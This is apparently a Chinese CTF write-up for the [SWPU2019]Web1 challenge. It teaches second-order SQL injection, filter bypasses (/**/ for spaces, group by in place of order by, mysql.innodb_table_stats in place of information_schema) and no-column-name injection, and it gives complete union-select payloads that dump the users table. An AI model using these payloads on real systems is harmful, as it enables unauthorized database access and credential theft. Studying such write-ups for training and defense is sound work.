【WEB】[SWPU2019]Web1

考点:SQL二次注入,关键绕过,无列名注入

在开始之前,先了解几个概念。

概念 1:SQL 注入到底是啥

后端执行查询时,会把你输入的内容拼进 SQL 语句字符串 里。正常情况下你输入的是 "数据";但如果你输入了 'unionselect 这些 SQL 语法符号,而后端没处理干净,你输入的 "数据" 就会被数据库当成 "SQL 代码 " 执行 ------ 这就是注入。一句话:让本该是数据的地方,变成可执行的语句。

概念 2:二次注入

普通注入是 "你这次输入、这次就被拼进 SQL"。二次注入分两次,坑就坑在中间隔了一次 "存数据库":

  • 第一次(发布广告) :你在标题里填 1' union...。后端这一步其实做了转义(把 ' 变成 \'),所以 insert 写库时是安全的 ;但数据库存盘时会把转义用的反斜杠去掉 ,于是库里真正存下的是你原始的 1' union...
  • 第二次(点 "广告详情") :后端把标题从库里读出来 ,直接拼进另一条查询 select * from ads where title='读出来的标题'这一步没有再次转义 ------ 于是你第一次埋的 ' 在这里 "复活",注入触发。

为什么登录框注入不了、广告标题能注入?因为登录框是 "一次注入" 当场被转义拦住;而广告标题走的是上面这条 "先存后取、第二次不设防" 的路。

概念 3:闭合 与 注释

注入时你用一个 ' 把后端原来的前引号 "用掉",这叫闭合 。拼完自己的语句后,后面还剩后端原语句的一截(' limit 0,1),常规做法是用 #-- 把它注释掉 。但如果把注释符过滤了,要用 "再补一个引号让它自己配对" 的方式手动闭合(下面实战会具体拆)。

接下来开始操作步骤:

Step 0 注册登录

随便注册一个账号再登录

Step 1 确认注入点 & 判断是字符型

在标题里分别试:

  • 1' 提交,再看详情 → 报错(多出来的单引号让 SQL 语法崩了,说明输入被拼进了语句);
  • 1'' 再看 → 正常(两个引号正好配对)。

由此确定:注入点是单引号字符型,后端语句形如

sql 复制代码
select * from ads where title = '$title' limit 0,1;

Step 2 摸清楚过滤了什么,逐个绕过

测试后我们发现空格、or和注释符(#,--)被过滤

被过滤 为什么需要它 绕过方法
空格 SQL 单词之间要分隔 用内联注释 /**/ 代替每个空格
or(不区分大小写) order byinformation_schema 里都含 "or" 判列数改用 group by ;查表改用 InnoDB/sys 系统表,彻底不用 information_schema
注释符 #-- 用来注释掉语句尾巴 不注释,手动补单引号闭合 (payload 末尾写 '22 / '1,让它和原语句尾引号配对)

Step 3 判断列数

正常用 order by N 试探列数,但它含 or 被过滤,换成 group by N,效果一样(按第 N 列分组,列不存在就报错)。在标题里依次填、不断加大 N:

sql 复制代码
-1'/**/group/**/by/**/22,'1
  • 为什么是 /**/:每个空格的位置都换成它;
  • 为什么结尾是 ,'1:拼进原句后是 group by 22,'1' limit 0,1------'1 的前引号是我们写的,原句结尾那个 ' 正好补在后面,配成合法字符串 '1'这样就不需要注释符了
  • 试到 22 正常、23 报错 → 原查询共 22 列

Step 4 联合查询,找回显位

标题填

sql 复制代码
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

挤进原句后等价于

sql 复制代码
select * from ads where title='-1' union select 1,2,...,21,'22' limit 0,1

详情页上会看到数字 2 和 3 被打印出来 → 回显位是第 2、3 列,以后把要查的内容塞进这两个位置。

Step 5 查当前数据库名

把第 2 位换成 database()

sql 复制代码
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

回显得到当前库 web1

Step 6 查表名:绕过被过滤的 information_schema

常规查表要查 information_schema.tables,但里面含 or (information)被过滤。改用 MySQL 自带的"统计表",其不含 or:

mysql.innodb_table_stats

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到两张表:adsusers

原理:information_schema 是 "元数据库",被 ban 后,InnoDB 引擎会在mysql.innodb_table_stats、sys 库里记录表名等统计信息,照样能把表名抠出来,innodb_table_stats 收录更全。

Step 7 查 users 表数据:无列名注入

正常要 select 列名 from users,可我们不知道 users 有哪些列、叫什么 ,又没法查 information_schema.columns(含 or),连反引号都被过滤。这时用无列名注入:按 "列的位置" 而不是 "列的名字" 取数据。

原理拆解,看这条子查询:

sql 复制代码
select 1,2,3 as b union select * from users
  • select 1,2,3 先凭空造一行 3 列的结果,并用 as b第 3 列起别名 b
  • union select * from users 把 users 的数据按列顺序接在后面(要求 users 也是 3 列:id、用户名、密码);
  • 于是这张临时结果的第 3 列就叫 b,外层再 select group_concat(b) from (上面整段)x,就能在不知道列名 的情况下把 users 第 3 列全部值拼出来。想取第几列,就把 as 别名 加到第几列。

取第 2 列(取用户名,给第 2 列起别名 a)

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

取第 3 列(取密码,给第 3 列起别名 b)

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

直接得到flag。

相关推荐
小聪7081 小时前
基于node实现一个轻量化web引擎:elpis-core
前端
花生了什么事o1 小时前
自定义Spring Boot Starter全流程
java·spring boot·后端
涛涛ing1 小时前
9 月第一周,前端圈又炸了四次
前端
葡萄城技术团队1 小时前
从自然语言到表格操作:SpreadJS 表格智能体如何执行一个任务
前端
qq_452396232 小时前
第十篇:《eBPF 可观测性:零侵扰的深度内核追踪》
服务器·网络·php
Neighbor_OldY2 小时前
【实战复盘】文件上传漏洞检测与应急处置:校验绕过、图片马与WebShell的排查修复指南
运维·前端·web安全
金花顺2 小时前
android_media_AudioTrack_setup
前端
晓天衡宇•评测社区2 小时前
Seedance 2.5 登顶图生视频榜单,Wan 3.0 在游戏与教育场景进入前列
前端·javascript·网络
码海无涯回头无岸2 小时前
Ai agent - LLM是一个函数
前端